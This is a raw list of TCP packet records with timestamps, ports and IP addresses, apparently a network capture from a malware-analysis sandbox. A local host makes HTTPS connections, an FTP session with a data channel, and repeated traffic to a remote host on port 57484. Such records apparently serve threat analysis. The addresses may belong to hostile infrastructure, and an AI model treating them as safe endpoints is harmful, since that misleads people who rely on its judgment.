Oct 22, 2024 06:17:18.541810036 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.541922092 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.541981936 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.542069912 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.653847933 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.653876066 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.654059887 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.654059887 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.654125929 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.654743910 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.658477068 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.658674002 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.658714056 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.658801079 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.658845901 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.659316063 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.738749027 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.738769054 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.738945007 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.738945007 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.739008904 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.739067078 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.773737907 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.773828983 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.773888111 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.773973942 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.779427052 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.779496908 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.779501915 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.779546976 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.779586077 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.779687881 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.860460043 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.860527992 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.860661030 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.860661983 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.860726118 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.860850096 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.861344099 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.896249056 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.896447897 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.896450043 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.896541119 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.896584034 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.896989107 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.936150074 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.936211109 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.936347008 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.936347008 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:18.936410904 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:18.936485052 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.012818098 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:19.012885094 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:19.013041973 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.013042927 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.013107061 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:19.013715029 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.019357920 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:19.019561052 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:19.019562006 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.019627094 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:19.019678116 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.019900084 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.097642899 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:19.097836971 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:19.097840071 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.097918987 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:19.097959995 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.132112980 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:19.132177114 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:19.132318020 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.132318020 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.132385969 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:19.134046078 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:19.134253025 CEST	443	49735	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:19.134262085 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.134262085 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.134341955 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.134886980 CEST	49735	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:19.147663116 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:19.153363943 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:19.419469118 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:19.419958115 CEST	49738	60710	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:19.425774097 CEST	60710	49738	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:19.425847054 CEST	49738	60710	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:19.425901890 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:19.431468964 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:19.698240995 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:19.908349037 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:20.181598902 CEST	60710	49738	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:20.183093071 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:20.318909883 CEST	60710	49738	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:20.319004059 CEST	49738	60710	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:20.319053888 CEST	49738	60710	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:20.320177078 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:20.320274115 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:20.320353031 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:20.320602894 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:20.320627928 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:20.324516058 CEST	60710	49738	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:20.408165932 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:20.945745945 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:20.947101116 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:20.947179079 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:21.239619017 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:21.239737034 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:21.239835978 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:21.240194082 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:21.551243067 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:23.265501976 CEST	49744	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:23.265597105 CEST	443	49744	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:23.265686035 CEST	49744	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:23.267858982 CEST	49744	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:23.267895937 CEST	443	49744	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:24.122273922 CEST	443	49744	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:24.122365952 CEST	49744	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:24.126445055 CEST	49744	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:24.126475096 CEST	443	49744	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:24.126893044 CEST	443	49744	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:24.136034012 CEST	49744	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:24.179371119 CEST	443	49744	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:24.976671934 CEST	443	49744	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:24.976778984 CEST	443	49744	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:24.977181911 CEST	49744	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:24.977674007 CEST	49744	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:25.798657894 CEST	49745	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:25.804131985 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:25.804220915 CEST	49745	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:25.805213928 CEST	49745	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:25.810525894 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:26.498104095 CEST	49746	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:26.498209000 CEST	443	49746	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:26.498519897 CEST	49746	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:26.500248909 CEST	49746	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:26.500286102 CEST	443	49746	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:27.123311043 CEST	443	49746	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:27.124716043 CEST	49746	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:27.124716043 CEST	49746	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:27.124761105 CEST	443	49746	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:27.125596046 CEST	443	49746	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:27.132805109 CEST	49746	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:27.179328918 CEST	443	49746	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:27.226085901 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:27.230716944 CEST	49745	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:27.237375975 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:27.278879881 CEST	443	49746	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:27.279081106 CEST	443	49746	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:27.282782078 CEST	49746	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:27.286720991 CEST	49746	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:27.635242939 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:27.736314058 CEST	49745	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:27.752018929 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:27.757813931 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:27.758018017 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:27.758018017 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:27.763478994 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:28.355971098 CEST	49748	80	192.168.2.4	178.237.33.50
Oct 22, 2024 06:17:28.361743927 CEST	80	49748	178.237.33.50	192.168.2.4
Oct 22, 2024 06:17:28.361846924 CEST	49748	80	192.168.2.4	178.237.33.50
Oct 22, 2024 06:17:28.361958027 CEST	49748	80	192.168.2.4	178.237.33.50
Oct 22, 2024 06:17:28.367377043 CEST	80	49748	178.237.33.50	192.168.2.4
Oct 22, 2024 06:17:29.179641962 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.179697990 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.179743052 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:29.183073997 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.183171034 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.183202982 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.183228016 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:29.183768988 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.183813095 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.183818102 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:29.198045015 CEST	80	49748	178.237.33.50	192.168.2.4
Oct 22, 2024 06:17:29.198113918 CEST	49748	80	192.168.2.4	178.237.33.50
Oct 22, 2024 06:17:29.208185911 CEST	49745	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:29.214226961 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.298804998 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:29.589320898 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.589375973 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.589416981 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.589430094 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:29.589498997 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.589597940 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:29.592576981 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.592669964 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.592701912 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.592721939 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:29.593261003 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.593305111 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.593332052 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:29.593458891 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.593489885 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.593508959 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:29.594137907 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.594187975 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:29.594189882 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.594227076 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.594343901 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:29.998756886 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.998820066 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.998853922 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.999375105 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:29.999422073 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.999475002 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.999521017 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:29.999617100 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.999648094 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:29.999660015 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.001715899 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.001806974 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.001844883 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.001863003 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.001887083 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.002640963 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.002696037 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.002974033 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.003005981 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.003040075 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.003060102 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.003084898 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.003727913 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.003778934 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.117326021 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.117418051 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.117449045 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.117826939 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.117862940 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.117876053 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.117876053 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.118493080 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.118521929 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.118705034 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.120038986 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.120326042 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.122589111 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.321983099 CEST	80	49748	178.237.33.50	192.168.2.4
Oct 22, 2024 06:17:30.322704077 CEST	49748	80	192.168.2.4	178.237.33.50
Oct 22, 2024 06:17:30.408207893 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.408299923 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.408329964 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.408386946 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.408693075 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.408731937 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.409066916 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.409427881 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.409460068 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.409481049 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.409492970 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.409563065 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.409941912 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.409976959 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.410150051 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.410681963 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.410713911 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.410744905 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.410754919 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.411164045 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.411211014 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.411565065 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.411593914 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.414845943 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.527024031 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.527067900 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.527107954 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.527173042 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.527651072 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.527704000 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.527769089 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.528140068 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.528188944 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.528527021 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.528564930 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.529185057 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.529217958 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.529263020 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.529263020 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.529993057 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.530029058 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.530062914 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.530113935 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.530566931 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.530601978 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.530642986 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.531265020 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.534759998 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.645648003 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.645791054 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.645828009 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.645895958 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.646399021 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.646452904 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.646517992 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.646943092 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.646981001 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.647048950 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.647800922 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.647836924 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.647890091 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.648519039 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.648555040 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.648588896 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.648626089 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.648643017 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.649225950 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.705096960 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.817651033 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.817775011 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.817806959 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.817862034 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.818109989 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.818192005 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.818239927 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.818875074 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.819188118 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.819221973 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.819262981 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.819262981 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.819727898 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.819762945 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.820254087 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.820552111 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.820590019 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.820622921 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.820667028 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.821399927 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.821434975 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.821468115 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:30.821512938 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.821512938 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:30.822153091 CEST	57484	49747	43.226.229.232	192.168.2.4
